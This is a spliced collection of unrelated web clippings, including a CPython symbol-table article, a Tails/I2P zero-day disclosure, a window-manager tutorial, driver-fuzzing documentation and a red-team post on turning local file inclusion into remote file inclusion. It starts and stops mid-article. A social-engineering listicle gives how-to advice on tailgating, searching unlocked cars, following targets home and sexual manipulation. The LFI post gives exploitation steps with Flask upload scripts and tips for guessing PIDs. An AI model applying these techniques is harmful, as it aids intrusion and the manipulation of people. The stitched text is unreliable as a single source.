  1. Figure out the exact semantics of variables in Python – when are they local, when are they global and what exactly makes them lexically bound.
  2. Understand how the CPython compiler knows the difference.
  3. Learn about the different bytecode opcodes for these variables and how they affect the way the VM runs code.

I won’t even try going into \(1\) since it’s a broad topic completely out of
the scope of this article. There are plenty of resources online – start with
the official and continue Googling until you’re fully enlightened. \(3\) is
also out of scope as I’m currently focusing on the front-end of CPython. If
you’re interested, there’s an excellent series of in-depth articles on Python
focusing on the back-end, with a nice treatment of this very issue.

To answer \(2\) we need to understand how CPython uses symbol tables, which is
what this series of articles is about.

### Where symbol tables fit in

A high-level view of the front-end of CPython is:

  1. Parse source code into a parse tree
  2. Transform parse tree into an Abstract Syntax Tree
  3. Transform AST into a Control Flow Graph
  4. Emit bytecode based on the Control Flow Graph

Symbol tables are created in step 3. The compiler builds a symbol table from
the AST representing the Python source code. This symbol table, in conjunction
with the AST is then used to generate the control flow graph \(CFG\) and
ultimately the bytecode.

### Exploring the symbol table

CPython does a great job exposing some of its internals via standard-library
modules \[3\]. Symbol tables is yet another internal data structure that can
be explored from the outside in pure Python code, with the help of the
`symtable` module. From its description:

> Symbol tables are generated by the compiler from AST just before bytecode is
> generated. The symbol table is responsible for calculating the scope of
> every identifier in the code. symtable provides an interface to examine
> these tables.
The `symtable` module provides a lot of information on the various identifiers
encountered in Python code. Apart from telling their scope, it allows us to
find out which variables are referenced in their scope, assigned in their
scope, define new namespaces \(like functions\) and so on. To help with
exploring the symbol table I’ve written the following function that simplifies
working with the module:

[code]

    def describe_symbol(sym):
        assert type(sym) == symtable.Symbol
        print("Symbol:", sym.get_name())
    
        for prop in [
                'referenced', 'imported', 'parameter',
                'global', 'declared_global', 'local',
                'free', 'assigned', 'namespace']:
            if getattr(sym, 'is_' + prop)():
                print('    is', prop)
    
[/code]

Let’s see what it has to say about the `inner` function from the example
above:

[code]

    Symbol: aa
        is referenced
        is free
    Symbol: cc
        is referenced
        is global
    Symbol: bb
        is referenced
        is local
        is assigned
    
[/code]

Indeed, we see that the symbol table marks `aa` as lexically bound, or "free"
\(more on this in the next section\), `bb` as local and `cc` as global. It
also tells us that all these variables are referenced in the scope of `inner`
and that `bb` is assigned in that scope.

The symbol table contains other useful information as well. For example, it
can help distinguish between explicitly declared globals and implicit globals:

[code]

    def outer():
        global gg
        return ff + gg
    
[/code]

In this code both `ff` and `gg` are global to `outer`, but only `gg` was
explicitly declared `global`. The symbol table knows this – the output of
`describe_symbol` for this function is:

[code]

    Symbol: gg
        is referenced
        is global
        is declared_global
    Symbol: ff
        is referenced
        is global
    
[/code]

### Free variables

Unfortunately, there’s a shorthand in the core of Python that may initially
confuse readers as to exactly what constitutes a "free" variable. Fortunately,
it’s a very slight confusion that’s easy to put in order. The execution model
reference says:

> If a variable is used in a code block but not defined there, it is a free
> variable.
This is consistent with the formal definition. In the source, however, "free"
is actually used as a shorthand for "lexically bound free variable" \(i.e.
variables for which a binding has been found in an enclosing scope\), with
"global" being used to refer to all remaining free variables. So when reading
the CPython source code it is important to remember that the full set of free
variables includes both the variables tagged specifically as "free", as well
as those tagged as "global".

Thus, to avoid a confusion I say "lexically bound" when I want to refer to the
variables actually treated in CPython as free.

### Catching errors

Although Python is duck-typed, some things can still be enforced at compile-
time. The symbol table is a powerful tool allowing the compiler to catch some
errors \[4\].

For example, it’s not allowed to declare function parameters as global:

[code]

    def outer(aa):
        global aa
    
[/code]

When compiling this function, the error is caught while constructing the
symbol table:

[code]

    Traceback (most recent call last):
      File "symtab_1.py", line 33, in <module>
        table = symtable.symtable(code, '<string>', 'exec')
      File "symtable.py", line 13, in symtable
        raw = _symtable.symtable(code, filename, compile_type)
      File "<string>", line 2
    SyntaxError: name 'aa' is parameter and global
    
[/code]

The symbol table is useful here since it knows that `aa` is a parameter in the
scope of `outer` and when `global aa` is encountered it’s a sure sign of an
error.

Other errors are handled by the symbol table: duplicate argument names in
functions, using `import *` inside functions, returning values inside
generators, and a few more.

### Conclusion

This article serves mainly as an introduction for the next one, where I plan
to explore the actual implementation of symbol tables in the core of CPython.
A symbol table is a tool designed to solve some problems for the compiler, and
I hope this article did a fair job describing a few of these problems and
related terminology.

_Special thanks to Nick Coghlan for reviewing this article._

<img src='img/Temp2_2559.jpg' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| You’ll note that in this article I’m using the terms Python and CPython
interchangeably. They’re not the same – by Python I mean _the language_
\(version 3.x\) and by CPython I mean the official C implementation of the
compiler + VM. There are several implementations of the Python language in
existence, and while they all implement the same specification they may do it
differently.  
---|---  
\[2\]| It’s even more complex than that, but we’re not here to talk about C
compilers. In the next article I will explain exactly the structure of symbol
tables used by CPython.  
---|---  
\[3\]| I’ve previously discussed how to use the `ast` module to tap into the
compilation process of CPython.  
---|---  
\[4\]| Actually, if you `grep` the CPython source, you’ll find out that a good
proportion of `SyntaxError` exceptions thrown by the compiler are from
`Python/symtable.c`.  
---|---

# Silver Bullets and Fairy Tails | Exodus Intelligence
**Created:**| _7/29/2014 9:29:55 AM_  
---|---  
**Updated:**| _7/29/2014 9:29:55 AM_  
**Author:**| __  
**Tags:**| _opinion_  
  

# Silver Bullets and Fairy Tails

# Introduction

This week we made mention on Twitter of a zero-day vulnerability we’ve
unearthed that affects the popular Tails operating system. As the Tails
website states:

> Tails is a live operating system, that you can start on almost any computer
> from a DVD, USB stick, or SD card. It aims at preserving your privacy and
> anonymity, and helps you to:  
>  use the Internet anonymously and circumvent censorship;  
>  all connections to the Internet are forced to go through the Tor network;  
>  leave no trace on the computer you are using unless you ask it explicitly;  
>  use state-of-the-art cryptographic tools to encrypt your files, emails and
> instant messaging.”
This software was largely popularized due to the fact that it was used by
whistleblower Edward Snowden. Since then, the OS has garnered much attention
and use by a wide range of those seeking anonymity on the Internet.

We publicized the fact that we’ve discovered these issues for a very simple
reason: no user should put full trust into any particular security solution.
By bringing to light the fact that we have found verifiable flaws in such a
widely trusted piece of code, we hope to remind the Tails userbase that no
software is infallible. Even when the issues we’ve found are fixed by the
Tails team, the community should keep in mind that there are most certainly
other flaws still present and likely known to others.

Our customers use our information for both offensive and defensive purposes to
better protect themselves and others. Providing a wide variety of exploit
software we help penetration testers effectively test network security and
incident response teams. One high profile example occurred last year when
Facebook used a zero-day vulnerability to test their teams response to a zero-
day attack. The information we provide is also leveraged in defensive purposes
providing companies with well documented research for use in IDS and AV
signatures for previously unknown threats. We at Exodus are able to do what
many software projects cannot, perform security code audits and find
exploitable vulnerabilities releasing them to the public.

# The Vulnerable Component

The vulnerability we will be disclosing is specific to I2P. I2P currently
boasts about 30,000 active peers. Since I2P has been bundled with Tails since
version 0.7, Tails is by far the most widely adopted I2P usage. The I2P
vulnerability works on default, fully patched installation of Tails. No
settings or configurations need to be changed for the exploit to work. I2P is
preconfigured so that all .i2p TLD sites are routed through the I2P network.
At a high level I2P traffic is message based similar to IP packets. All
communication is encrypted end to end with a total of four layers of
encryption. I2P routers \(end points\) act as cryptographic identifiers,
similar to a pair of public keys. I2P is a packet switched network, instead of
circuit switched like Tor. This means transparent load balancing of packets
across multiple peers. I2P is fully distributed with no centralized resources.
There is no distinct separation of servers to nodes, this architecture helps
eliminate single points of failure.

# Demonstration

To lend credence to our claims we have created a video that demonstrates de-
anonymizing a Tails user:

TailsDeAnonymization

<img src='img/Temp2_7511.jpg' alt='TailsDeAnonymization' />

<img src='img/Temp2_7510.jpg' width='90' height='13' />

## Timeline

**0:00:00,000 – > 0:00:10,400:** Demonstrating IP on listening server, Turning
on listening server  
**0:00:19,000 – > 0:00:25,400:** Tails user visiting website icanhazip.com
which shows the anonymized IP address  
**0:00:36,000 – > 0:00:49,400:** Showing that we’re indeed using the latest
Tails build 1.1  
**0:00:50,000 – > 0:01:03,400:** I2P address being resolved, proof of concept
malicious payload being delivered  
**0:01:30,000 – > 0:01:40,400:** Listening server retrieves the Tails user’s
de-anonymized IP address \(Austin RoadRunner ISP\)

# Note on Disclosure

Disclosure of vulnerabilities takes many forms, particularly their shape is
adapted to the landscape that the platform is used upon. In the past at Exodus
Intelligence, we’ve felt that significant vulnerabilities have been
disregarded and have not had the requisite exposure. Through appropriate
airing of the issue, we feel that users of such security platforms may come to
understand the risks in base-level trust. Even further we hope to break the
mold of unconditional trust in a platform. Users should question the tools
they use, they should go even further to understand the underlying mechanisms
that interlock to grant them security. It’s not enough to have faith upon
security, rather to have an understanding of it. If the public thinks Exodus
is one of a few entities finding bugs in software, they are grossly
misinformed. As is the case with all vulnerabilities we report to vendors, we
do not ask for any remuneration. All flaws that we give to vendors are given
free of charge. All accusations of extortion perpetuated by those unfamiliar
with our business model are completely unfounded. As of publication of this
blog post the Tails team and the I2P team have both received all the relevant
details and exploit code they require to remediate the vulnerabilities we’ve
discovered.

Recently a high profile talk on de-anonymization Tor users was pulled from
Blackhat due to legal issues. Their talk outlined with a budget of $3000 with
some powerful servers and multiple gigabit links they were able to de-
anonymize hundreds of thousands of users in ‘a couple of months’. Exodus
decided to pick up where this talk left off by letting the community know that
there are many other vectors for de-anonymization. The vulnerability we have
found is able to perform remote code execution with a specially crafted
payload. This payload can be customized to unmask a user and show the public
IP address in which the user connected from within ‘a couple of seconds’.

# Stay Tuned

Part two of this blog post will present a technical discussion of the
vulnerability. This will be posted once we have confirmed the vulnerabilities
in I2P are patched and have been incorporated into Tails.

# Surgically returning to randomized lib\(c\)

**Created:**| _8/13/2010 11:49:00 AM_  
---|---  
**Updated:**| _8/13/2010 11:49:32 AM_  
**Author:**| __  
**Tags:**| _attacks Debugging aslr papers return-oriented_  
  
<img src='img/Temp2_7790' />

# My first awesome - awesome

**Created:**| _2/25/2010 10:50:21 PM_  
---|---  
**Updated:**| _2/25/2010 10:50:24 PM_  
**Author:**| __  
**Tags:**| _awesome_  
  

# My first awesome

This little tutorial is for people who never used a tiling window manager
before and don't have fancy hacking skills. We will explore the awesome world
of awesome step by step and finally come up with a working desktop, providing
some basic knowledge on how to configure awesome in the process. We will start
with the default rc.lua that comes with awesome, play around a little and try
to make it more beautiful and useful with widgets. For this tutorial you don't
need any programming skills besides using a text editor.

## Contents

  * 1 Explore Awesome
  * 2 Change the theme
  * 3 Change the background image
  * 4 Personalize your tags
  * 5 Add widgets

  
---  
## \[edit\]Explore Awesome

I will assume that you properly installed awesome through your distro's
package manager or compiled it from source. You should now add  _exec awesome_
to your **~/.xinitrc**. As already mentioned, awesome provides a default
config file which will be our starting point. You will usually find this
**rc.lua** file in**/etc/xdg/awesome/**. Copy it to **~/.config/awesome/** ,
and then start X.

Move your Mouse to the upper left corner and click on the awesome logo. A
little menu opens. Browse through the menu, then click the logo again to close
it. Next to the awesome menu you see numbers 1-9. These are your tags \(or
desktops if you want\). You can click on these to change them but nothing will
happen because we have not opened any programs. On the top right you see the
time/date and a symbol showing the current layout. You can also click on the
symbol to change the active layout.

One of awesome's big advantages over other tiling window managers is its good
mouse support. Awesome can act as a full floating window manager \(almost like
openbox\) if you want. For this basic tutorial we will mainly focus on
keyboard control, so let's learn some key bindings now.

Let's open a terminal: press **Mod4+Enter**. Mod4 is your "Windows key", the
key between Ctrl and Alt. You can change the  _modkey_ if you want, but we'll
get to that later. An xterm window will pop up. You can of course use your
favourite terminal if you like. Again, more on that later. Now
press**Mod4+Shift+c** to close the terminal. This is the command which lets
you close any application. Awesome has a very elegant way to launch programs:
press **Mod4+r**. Now you will see a  _Run:_ prompt in the status bar. Start
anything you like, it also features Tab-completion\!

Open another application. And another \(another...\) to see the tiling
features. You can now press **Mod4+Space** to cycle through all the possible
tiling \(and floating\) modes. Note that the icon in the upper right changes.

Also try **Mod4+h** , **Mod4+l** , **Mod4+Shift+h** and **Mod4+Shift+l** to
resize Windows. You can also resize with **Mod4+Button3** \(right click\).
**Mod4+f** will make your current window fullscreen.

With **Mod4+Number** \(1-9\) you can browse through your tags. With
**Mod4+Shift+Number** \(1-9\) you can send a window to a specific tag.
**Mod+Left** and**Mod+Righ** moves to the next tag in the specified direction.

Use **Mod4+k** and **Mod4+j** to toggle your focused client - moving your
mouse will also do that if you haven't figured that out yet.

**Mod4+Shift+q** quits awesome, but don't do that now.

Read the man page for all key bindings \(type  _man awesome_ in console\), you
will find many more useful ones. The man page is accessible through the
awesome menu as well - press **Mod4+w** to bring it up.

# IoSpy and IoAttack \(Windows Driver Kit\)

**Created:**| _5/18/2011 8:54:56 PM_  
---|---  
**Updated:**| _5/18/2011 8:55:10 PM_  
**Author:**| __  
**Tags:**| _windows security windows windows environment Driver_  
  

# IoSpy and IoAttack

IoSpy and IoAttack are tools that perform IOCTL and WMI fuzz tests on kernel-
mode drivers. By using these tools, you can ensure that drivers' IOCTL and WMI
code validate data buffers and buffer lengths correctly. By doing this, you
avoid buffer overruns that can lead to system instability.

_Fuzz testing_ presents a driver with random data, referred to as _fuzz_ , in
order to determine defects within the driver. Fuzz testing over an IOCTL or
WMI interface is not new. However, most test suites are either generic _black
box_ fuzz tests, which only verify the external access to a driver's IOCTL or
WMI interfaces, or are written to test the specific IOCTL and WMI paths within
a driver.

IoSpy and IoAttack use more of a _white box_ approach to fuzz testing. When a
device is enabled for fuzz testing, IoSpy captures the IOCTL and WMI requests
sent to the driver of the device, and records the attributes of these requests
within a data file. IoAttack then reads the attributes from this data file,
and uses these attributes to _fuzz,_ or randomly change, the IOCTL or WMI
requests in various ways before sending them to the driver. This allows
further entry into the driver's buffer validation code without writing IOCTL-
or WMI-specific tests.

IoSpy and IoAttack are supported on systems that run Windows Vista or later
versions of the Windows operating system. These tools are included in the WDK
under the _tools\IoSpy_ directory. There are separate versions for 32-bit
Windows platforms \(_tools\IoSpy\x86_\) and 64-bit Windows platforms
\(_tools\IoSpy\ia64_ and _tools\IoSpy\amd64_\).

**Important** IoSpy and IoAttack should be run on test systems that have been
previously prepared for kernel-mode debugging.

This section includes the following topics:

    
IoSpy

    
IoAttack

    
How to Perform Fuzz tests with IoSpy and IoAttack

# Top 5 Social Engineering Exploit Techniques - PC World

**Created:**| _11/16/2009 8:23:46 PM_  
---|---  
**Updated:**| _11/16/2009 8:23:51 PM_  
**Author:**| __  
**Tags:**| _socialising_  
  

# Top 5 Social Engineering Exploit Techniques

## Learn to pwn humans for fun and profit -- or simply learn these techniques
so you can avoid being scammed.

Jamey Heary, Network World

  * Email
  * Print
  * RSS
  * 0 Comments

  *   * 

  * 0 Yes
  * 0 No

Recommends

If you want to hack a corporation fast, Social Engineering \(SE\) techniques
work every time and more often than not it works the first time. I'm talking
about in your face, Mano-a-mano, live in the flesh social engineering
techniques. Securing the information that is in the human mind is a
monumental, colossal, epic, task compared with securing digital data\! So it
is no surprise that it is also the largest gap in a corporations IT security.

The security industry is constantly trying to create techno widgets to help us
with this hu<img src='img/Temp2_8415.jpg' />

Graphic: Diego Aguirre

man problem, but to date there are not bona fide solutions available. If you
give someone access, no matter how many hoops you make him or her go through
to get there, then they are a human risk and subject to social engineering
attacks.

I've collected a list of my top 10 social engineering techniques. These
techniques come from a variety of sources. Some are from my experiences, some
are from my customers, and some are from buddies that use social engineering
attacks in their daily job as security consultants. Are you vulnerable to
these techniques in your organization? Pick up the phone and try some of them
\(if you are authorized to of course\). I bet you won't be surprised when they
all work. ?

**1\) Familiarity Exploit –** This is one of the best and is a corner stone of
social engineering. In a nutshell, you are trying to make it appear perfectly
normal to everyone that you should be there. Making yourself familiar to those
that you want to exploit helps to lower their guard. People react differently
to people they know, have talked to or at least seen around a lot. People are
way more comfortable responding and carrying out requests by familiar people
than they are with complete strangers. A familiar person, in the eyes of your
mark, is perfectly normal, doesn't set off alarm bells in the brain of "who is
that and why are they here". Once you become familiar then you strike.
Tailgating into a secure area behind someone who is familiar with you works
often.

**2\) Creating a hostile situation –** People withdraw from those that appear
to be mad, upset or angry at something or someone other than themselves. For
example, if you are on the phone and fake having a heated conversation with
someone people around you will absolutely notice you but they will go out of
their way to avoid you as well. You can create a hostile situation in a ton of
different ways; just don't create a hostile situation between you and your
marks. This rarely works. Instead you want the hostile situation to be between
yourself and your phone, your accomplice, or mumbling to yourself as if you
just had a huge argument with someone.

If you find yourself in a situation where you need to go through areas with
people that are otherwise likely to stop and question your presence this
technique comes in handy. If you are angry, people are much, much less likely
to stop and question you. In fact, people are much more likely to obey your
wishes when you are angry as well. People just want to get rid of angry
people, so it works well for asking people to open doors for you or give you
information on the location of things, etc. A good real world example of this
is my buddy wanted to sneak some alcohol into an amusement park. The park has
a guard station to check the bags and a wand to detect metal. My buddy started
up a heated fight with his wife before they walked up and the guards just
waved them by the checkpoint without checking or wanding them\!

**3\) Gathering and Using Information –** When it comes right down to it the
key to being a successful social engineer is information gathering. The more
information you have about your mark the more likely you are to get what you
want from him or her, obviously. Good places to gather this info:  
a. Parking lot – Cars that are unlocked \(or are easily unlocked\) might have
security badges, uniforms, paperwork, intel, smart phones, wallets, all sorts
of goodies you can use.  
b. Online site like Linked In, Google, Facebook, MySpace, etc.  
c. Things in their workspace area \(posters, pictures, books, etc.\)  
d. Asking their friends and colleagues. Pretend to be a manager from another
office or branch.  
e. Tail them home or to their favorite watering hole. Try to figure out their
patterns, interests, places they frequent. These are all good data points you
can use to help make a personal connection to the mark.  
f. Dumpster diving. Sure going through their trash is nasty but the gems that
will be there are invaluable.

**4\) Get a Job There –** If the reward is worth it, just get a job at your
target and grab all the information you can. Most small-medium size businesses
do not perform even simple background checks on new hires. Most large
companies will but they are typically not very extensive. HR and hiring
managers are almost never trained on how to spot warning signs they might be
hiring someone with malicious intent. Once you are on the inside you become
way more trusted, even if you are a lowly clerk. Social engineering a co-
worker is usually a piece of cake given the assumed trust you'll have as a
fellow employee.

**5\) Reading body language –** An experienced SE will read and respond to
their mark's body language. In the eyes of the master SE, Chris Nickerson,
body language, used effectively, is one of the most powerful connections you
can make to a person. Breathing when they breath, smile at the right times,
recognize and adapt to their emotions, be friendly and polite but not to much
so, if they appear nervous make them comfortable, if they are comfortable then
exploit them, etc. etc.

Reading body language, if done well, can be your ticket to the crown jewels in
a corporation. It makes people WANT to help you and feel good about doing so,
an act of kindness on their part. And not only will they want to help you but
they won't go back later and analyze what they did "Hey now that I think about
it, why did I let that guy into the datacenter today?" Instead they will dwell
the on the help and goodwill they provided for you.

6\) Ok I have to add a sixth one because it is so incredibly effective,
probably more so than any of the previous techniques. Wait for it…..SEX\!
Women manipulating men to do their bidding is just a part of being a guy. A
guy trying to resist the manipulation of a great looking girl that is
flirting, dressing sexy, acting promiscuous, acting interested in you, blah,
blah, blah is about as easy as trying to hold your breath for 10 minutes. ?
Bottom line is if your mark is a man and the SE is a woman, the SE's chances
of success just shot up. Hey all's fair, why not use biology in your favor.

So the last part is how do you defend against social engineering attacks? The
best defense you have against the human risk \(to social engineering\) is
personnel training and awareness programs. Sure that sounds boring and you'd
much rather buy a widget or two that you get to have in your security
toolbelt, but no widget will be as effective.

I'd like to hear your favorite social engineering techniques or any good
stories of SE you'd care to share. Huge thanks goes out to the guys in 303 for
contributing content, insights and filling my head with awe-inspiring social
engineering war stories\!

_The opinions and information presented here are my PERSONAL views and not
those of my employer. I am in no way an official spokesperson for my
employer._

For more information about enterprise networking, go to NetworkWorld. Story
copyright 2008 Network World Inc. All rights reserved.

  * See more like this:
  *   * hackers,
  *   * online security,
  * scams and hoaxes

# Turning LFI into RFI

**Created:**| _9/4/2017 9:30:41 AM_  
---|---  
**Updated:**| _9/4/2017 9:30:41 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Turning LFI into RFI

  * __ Posted on: 2017-08-14
  * __ Categories: Red Team
  * __ Tags: exploit, lfi, rfi

Have you ever been testing a web application for vulnerabilities, found a
local file include \(LFI\) that could pay serious dividends if you had the
right file on the web server, but couldn’t find the right file on the server
to save your life? If so, if you’ve still got access to that application you
may want to revisit it after reading this.

**tl;dr** **– we’ve found a way to turn local file include \(LFI\) into remote
file include \(RFI\) for a number of web frameworks**

My good friend Mike Brooks \(aka rook\) and I have been assessing some open
source software and we found an avenue for code execution that relied upon
having a JAR file of our choosing residing on the web server \(we’ll have a
full write up of the results of our assessment once CVEs and patches are
out\). When configured in a specific way the web application would load the
JAR file and search within the file for a class. Interestingly enough, in Java
classes you can define a static block that is executed upon the class being
processed, as shown below:

123456789 | public class LoadRunner \{ static \{ System.out.println\("Load runner'ed"\); \} public static void main\(String\[\] args\) \{ \}\}  
---|---  
Compiling and loading this Java class is shown below:

<img src='img/runnered.jpg' width='535' height='105' alt='Executing code on
class load in Java' />

Executing code on class load in Java

With the ability to get code to run upon the JAR file being loaded, and the
ability to point the web server to a file path to load a JAR, we thought we
had this in the bag – all we had to find now was a way to get the application
to reference the JAR somehow.

And so we looked and we looked. We looked at all of the request handlers
within the application for file uploads. We looked at other network services
on the same box. We looked for ways that we could poison files on the server
to potentially turn them into the JAR. And after all of this looking we came
up empty handed.

Mike, being the stubborn exploit extraordinaire that he is, wasn’t ready to
give up. I wasn’t entirely ready myself, so we dug in deeper. It was at that
point that Mike came up with a great idea…

## **File Descriptors**

Sure, most frameworks take files that are uploaded and place them on the
server’s disk at a path that isn’t guessable \(typically using a GUID or other
random identifier of some kind\), but what if you didn’t need to know that
file path to still reference the uploaded file?

In Linux, when a process has a file open, it will have a file descriptor
opened within its `/proc/` directory that points to the file in question. So,
if we have a process that has a PID of 1234, and that process has an open file
handle to some file in a random location on the disk, that file can be
accessed through one of the file descriptors in `/proc/1234/fd/*`. This means
that instead of having to guess GUIDs or other random values, you need only to
guess \(or find through other means of information disclosure\) the PID of an
HTTP request’s handler and the file descriptor number of the uploaded file.
This is a **drastic** reduction in the search space for referencing an
uploaded file. Not only that but if you already have LFI there are often files
in predictable places on disk that contain the PID number for the web server
handling HTTP requests.

Now this may not seem all that important so far, so allow me to evoke the
late, great Billy Mays real quick…

<img src='img/mays.jpg' width='468' height='600' alt='But Wait There's More'
/>

But Wait There’s More

## Lazily Loaded File Descriptors

At this point you may be thinking “ok sure, you have reduced the amount of
entropy that you have to grapple with to get an LFI working – so what?” You
might also be thinking that in order to make use of this functionality you’d
need to find a request handler that accepts file uploads, and hammer away at
that endpoint uploading files while attempting to LFI all the PID file
descriptors.

This is only partly true – in the frameworks that we have tested file
descriptors are lazily loaded when the `FILES` dictionary is accessed, and
with Flask in particular this `FILES` dictionary is populated **even on HTTP
GET requests**. Take the following super simple Flask app for example:

1234567891011121314151617181920 | \# -\*- coding: utf-8 -\*-import os from flask import Flask, request UPLOAD\_FOLDER = "/tmp" app = Flask\(\_\_name\_\_\)app.config\["UPLOAD\_FOLDER"\] = UPLOAD\_FOLDER @app.route\("/", methods=\["GET"\]\)def show\_me\_the\_money\(\): x = request import code code.interact\(local=locals\(\)\) if \_\_name\_\_ == "\_\_main\_\_": app.run\(\)  
---|---  
In this app we have a single handler that allows HTTP GET requests mounted at
the base URL. Let’s run this app in an Ubuntu VM and upload a file to it and
see what we can find. Even better – let’s upload a file via an HTTP GET
request. For anyone that hasn’t seen the `import code` trick before, this is a
great way to debug Python code and libraries – you’re dropped into a REPL at
the `code.interact` call\!

Here’s a simple script for uploading a file via an HTTP GET request:

123456789 | \# -\*- coding: utf-8 -\*-import requests response = requests.get\( "http://127.0.0.1:5000/", files=\{ "upload\_file": open\("/tmp/hullo", "rb"\), \},\)  
---|---  
And looking in the file at `/tmp/hullo` we see lots and lots of lines with the
words “Hello World”:

<img src='img/hello_world.jpg' width='533' height='209' alt='Hello World!' />

Hello World\!

We then run the server and then upload the file, dropping us into a REPL
within the context of the Flask request handler:

<img src='img/pid.jpg' width='779' height='234' alt='The PID of the Flask
request handler' />

The PID of the Flask request handler

With the PID of the request handler we can take a look at the open file
descriptors on disk:

<img src='img/fd_1.jpg' width='709' height='279' alt='File descriptors before
lazily loading uploaded file' />

File descriptors before lazily loading uploaded file

We then go back to the REPL and access the uploaded file:

<img src='img/get_fileno.jpg' width='781' height='331' alt='Lazily loading
uploaded file contents' />

Lazily loading uploaded file contents

Now that the file has been accessed from within the web server, let’s go back
to the `/proc` directory and see if we can find the contents of the uploaded
file \(which is pointed to by file descriptor 5 as per the information
above\):

<img src='img/from_fd.jpg' width='788' height='394' alt='File descriptor after
lazy loading' />

File descriptor after lazy loading

Sure enough – there is our uploaded file\! For the application we are
assessing we confirmed that this method of uploading and referencing a file
worked just fine for the JAR we wanted to run\!

We can further reduce the entropy of the file location search space by
**uploading the same file multiple times**. For example, I modified the code
that submits the file upload with nine copies of the same file:

12345678910111213141516 | \# -\*- coding: utf-8 -\*-import requests response = requests.get\( "http://127.0.0.1:5000/", files=\{ "upload\_file": open\("/tmp/hullo", "rb"\), "upload\_file2": open\("/tmp/hullo", "rb"\), "upload\_file3": open\("/tmp/hullo", "rb"\), "upload\_file4": open\("/tmp/hullo", "rb"\), "upload\_file5": open\("/tmp/hullo", "rb"\), "upload\_file6": open\("/tmp/hullo", "rb"\), "upload\_file7": open\("/tmp/hullo", "rb"\), "upload\_file8": open\("/tmp/hullo", "rb"\), \},\)  
---|---  
After running this script, accessing the `FILES` dictionary in the handler,
and checking the contents of the `fd` directory within the request handler’s
PID, we see that there are open file descriptors for all nine of the uploaded
files:

<img src='img/multi_fd.jpg' width='788' height='413' alt='Nine distinct file
descriptors for the same uploaded file' />

Nine distinct file descriptors for the same uploaded file

With this approach you can likely guarantee that a file descriptor with a
specific number is going to point to your uploaded file. Imagine submitting
this request with 100 files instead – chances are file descriptor 50 is your
file\! In turn, this makes it so that the only value you need to guess is the
PID, which is not very random at all.

## Considerations for Exploitation

In summary, this is a method to greatly reduce the search space necessary to
reference uploaded files for exploitation purposes, which in turn enables LFI
to become RFI in many cases. If you’re looking to use this method for
exploitation, consider the following:

  * The frameworks that we have looked at \(Django and Flask\) **lazily load** file references when the FILE dictionaries are accessed. As such, you must target request handlers that **access the FILES dictionary**. Once the FILES dictionary is accessed the file descriptor will remain open for the duration of the request handling.
  * Other frameworks may just populate these file descriptors by default – this is something we’re going to look into more.
  * Some frameworks make no distinction between different request methods when processing an uploaded file in the body of a request \(cough cough FLASK cough cough\) meaning that this attack is not only limited to non-idempotent HTTP verbs.
  * PIDs are not meant to be randomized. If you’re looking to turn this into an exploit, create a local setup of whatever your target is \(Apache on Ubuntu, Nginx on Fedora, etc\) and take a look at the PIDs associated with the web servers and request handlers. Generally speaking when you install services into \*nix they will be started in similar order upon reboot. As PIDs are assigned in order as well, this means that you can drastically reduce the PID search space.
  * The request handler only has to access the FILES dictionary for **all uploaded files to be processed**. This is to say that if functionality within a handler expects an uploaded file to be a PDF in order for the request handler’s code to be executed and you want to upload a JAR, then just upload both files – they will both be given file descriptors.
  * Try to find request handlers that \(1\) load the file descriptors and \(2\) take a significant amount of time to do whatever they’re intended to. For the purpose of our assessment, we found a handler that was meant to process the entire contents of a file row by row, so we uploaded a huge file to it alongside the JAR we wanted to execute.
  * Note that if the file you’re uploading is small, it may just be read into memory and no file descriptor will be opened. When testing against Flask, we found that files under 1MB were loaded straight into memory whereas files over 1MB were placed on disk and <fdopen>’ed. As such you may need to pad out any exploit payloads accordingly.

And that’s all for now. We’ve got a lot more digging to do with this issue and
have had a lot of fun assessing the software where we discovered it on, so
stay tuned for more shenanigans.

## \*\*UPDATE\*\*

After mulling it over some more, I was wondering why the frameworks we looked
at were lazily loading the file descriptors. Surely it wouldn’t make sense to
parse the whole contents of an HTTP request body once to get the POST
parameters and a second time to get the contents of uploaded files, right??

Sure enough, for both Flask and Django it’s not that the FILES are lazily
loaded – **it’s that the contents of the request body aren’t processed until
accessed**. As such, with this attack you can target any request handler that
accesses data stored in the request body. As soon as the data contained within
the body is accessed, the file descriptors will be populated.

Accessing the contents of a request body in Django is shown below:

<img src='img/django_1.png' width='788' height='293' alt='Accessing request
body in Django' />

Accessing request body in Django

The file descriptor being populated through this access is shown below:

<img src='img/django_2.png' width='788' height='229' alt='File descriptor
populated through accessing Django request body' />

File descriptor populated through accessing Django request body

Accessing the contents of a request body in Flask is shown below:

<img src='img/flask_1.jpg' width='779' height='281' alt='Accessing the
contents of a request body in Flask' />

Accessing the contents of a request body in Flask

The file descriptor being populated through this access is shown below:

<img src='img/flask_2.jpg' width='788' height='320' alt='File descriptor
populated through Flask body access' />

File descriptor populated through Flask body access

Woot.

### Share this:

  * Click to share on Twitter \(Opens in new window\)
  * 122Click to share on Facebook \(Opens in new window\)122
  * Click to share on Google+ \(Opens in new window\)
  * 95Click to share on LinkedIn \(Opens in new window\)95
  * Click to share on Tumblr \(Opens in new window\)
  * Click to share on Reddit \(Opens in new window\)
  * 

### _Related_

2015 CSAW Web 5002015-09-23In "Red Team"

Cloudstone - Sharpening Your Weapons Through Big Data2017-06-05In "Data
Digging"

Web Sight Community Edition - Enterprise Attack Surface
Enumeration2017-07-24Similar post

## Post navigation

Previous Previous post: Web Sight Community Edition – Enterprise Attack
Surface Enumeration

<img src='img/59d649ee4e9079bc42f990d01ac74d13.jpg' width='70' height='70' />

###  lava lamp

__ 13 __ __

  

# setdllcharacteristics « Didier Stevens

**Created:**| _10/18/2010 9:18:22 PM_  
---|---  
**Updated:**| _10/18/2010 9:18:57 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security reversing awesome Defense DLL_  
  

##  
Sunday 17 October 2010

### setdllcharacteristics

Filed under: My Software,Windows 7,Windows Vista — Didier Stevens @ 20:39  

The PE-file format specifies flags to enable DEP and ASLR. You can set these
flags with a hex-editor or a PE-file editor.

Because I need to set DEP and ASLR flags in a script, I wrote a C-program to
read, set or clear these flags \(together with another flag to check
AuthentiCode signatures, more about this later\).

<img src='img/Temp2_10623.png' width='640' height='179' />

It’s a standard C program, you can compile it under \*nix too.

The option handling is simple, you can’t combine flags into one option string.
For example, to set DEP and ASLR, you issue the following command:

[code]

    setdllcharacteristics +n +d program.exe
    
[/code]

This will not work:

[code]

